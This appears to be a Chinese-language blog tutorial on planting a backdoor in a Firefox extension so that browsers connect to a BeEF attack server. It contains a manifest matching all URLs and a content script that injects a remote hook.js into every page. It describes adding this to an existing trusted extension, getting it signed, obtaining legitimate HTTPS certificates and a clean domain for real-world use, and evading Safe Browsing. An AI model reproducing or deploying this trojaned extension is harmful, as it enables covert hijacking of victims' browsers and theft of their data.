插件的基本机构及其作用
1、manifest.json
这个文件是每个插件都必须有的一个文件(其他的文件是可选的),它定义了插件的所有的信息,如权限,要引入哪些脚本,包含哪些资源等等。
2、Background pages 后台执行的脚本,如果你的插件需要有一个脚本文件一直在后台执行的话,这个脚本不在任何用户的可见的页签里运行,而是在浏览器为它创建的一个空白页里运行,所以它不能访问别的网页的DOM,所以用它没法做js注入。
3、Content scripts 直译是内容脚本,我理解为对应某内容而运行的脚本。它可以操作对应的页面的DOM,用它来注入js比较方便。
个人认为,后门注入到可信的程序里就可以了,这也是一种比较理想的状态,而不用自己开发一个很好的软件,然后把后门加进去。所以,后边这四项对于做后门并不重要,知道就好,主要是前面三项要理解。咱们只要改动可信的插件,把咱们的脚本放进去就好了。
4、browser action files 在工具栏中添加按钮
5、page action files 在地址栏添加按钮
6、options pages 为用户定义一个可浏览的UI界面,可以改变插件的设置
7、web-accessible resources 使打包好的内容可用于网页与目录脚本
beef 与插件后门结合
manifest.json
{ "description": "hook ",
"manifest_version": 2,
"name": "hookyou",
"version": "1.0",
"content_scripts": [ {
"matches": ["<all_urls>"],
"js": ["hookyou.js"] } ]}
"matches": ["<all_urls>"] 这句表示要在所有的网站都注入 js 修改 <all_urls> 为其他的值,就只在特定网站注入。
hookyou.js
var oScript= document.createElement('script');oScript.src=" 你的 beef 的hook.js";document.body.appendChild(oScript);
如何临时加载你的插件
在地址栏输入 about:debugging
,回车,然后选择临时载入附加组件,再找到你的插件的目录,选中它的 manifest.json
文件,这个插件就被加载了。这时候你去访问网址,就会发现,body 里被注入了 js。
beef 支持 https
现在的浏览器是不允许在 https 的网页引入 http 资源的(图片除外),但是现在的知名网址,大都是 https 了,所以不能放弃劫持 https 的网站。那么我们的 beef 就得支持 https。
本地测试的话,很简单,直接让靶机信任证书就好了,但是要用到实战就有些尴尬了。所以我们要用合法的证书,腾讯云有免费的,申请也很快,可以自行申请。值得一提的是,需要把那几个文件提供给 beef。
申请完毕之后,下载到本地解压,其中有如下几个文件。
beef 使用的 web 服务器软件是 apache,所以我们打开 apache 文件夹。
beef 只需要文件 2 和文件 3,先把 beef 原来的证书备份一下,然后把文件 2 文件 3 复制到 beef 证书的存访位置,然后把文件 2 改名为 beef_cert.pem
,文件 3 改名为 beef_key.pem
。(我不懂密码学,对这些证书文件就不妄加论断了,只说怎么操作,hhhhh)
然后修改配置文件,把此处 enable
项的值改为 true
然后重新启动 beef,你就得用 https 协议访问 3000 端口了。
把恶意代码注入到现有的插件
首先下载某插件的源码
https://github.com/khoiasd/hackbar
把 hookyou.js
放进它的目录
然后修改某插件的 manifest.json
文件,让它把 hookyou.js
当作 conten_script
引入。
狐插件的必须要经过签名才能安装,否则会提示插件损坏。
具体流程:插件打包->上传到附件组件开发者中心->通过校验->下载已签名插件->安装插件
插件打包
把插件目录下的文件,用 zip 压缩即可。注意是文件夹下的文件,而不是压缩整个文件夹。
打开文件夹,选中再压缩。
下的步骤都很简单,没什么注意的了,只要你的插件不报错,问题不大。
safe browsing
如果你的域名被标识为含有恶意网站的话,在从你的网站加载 js 时,就会被 safe browsing 拦截,影响测试效果。具体的关闭方法是:
实战时,你得找个干净的域名。
Content-Security-Policy
也就是 CSP 头,有个网址的相应包里会有找个头,通常就不能这么直接的引入 js 了,所以有些网页你虽然打开了,但是 beef 里并没有上线(除去网络不好的原因),这是正常的。
不过我们也不用去绕过,插件可以直接执行 js,只是不能从外部引入站点不可信的 js。
插件测试
测试环境
win10
firefox 59.0.2(64 位)
首先安装插件后门到靶机的浏览器。貌似看起来跟正常的插件没什么区别。
插件貌似看起来跟正常的插件没什么区别。
然后登陆 beef 后台,在靶机浏览器打开几个网站,稍等一会。
这时我们看到,靶机上线了。
看一下靶机页面源代码。
执行个模块试试
总结
经过黑客的手的东西都很危险啊,还是小心使用的好。
本文只是展示了用借助 beef 来实现攻击,结合其他平台也是一样。
自己编写后门代码更是优秀,火狐插件有很多 API,可以很方便的盗取信息,实现远程控制,奈何本人前端水平太差,只能在这抛砖引玉了。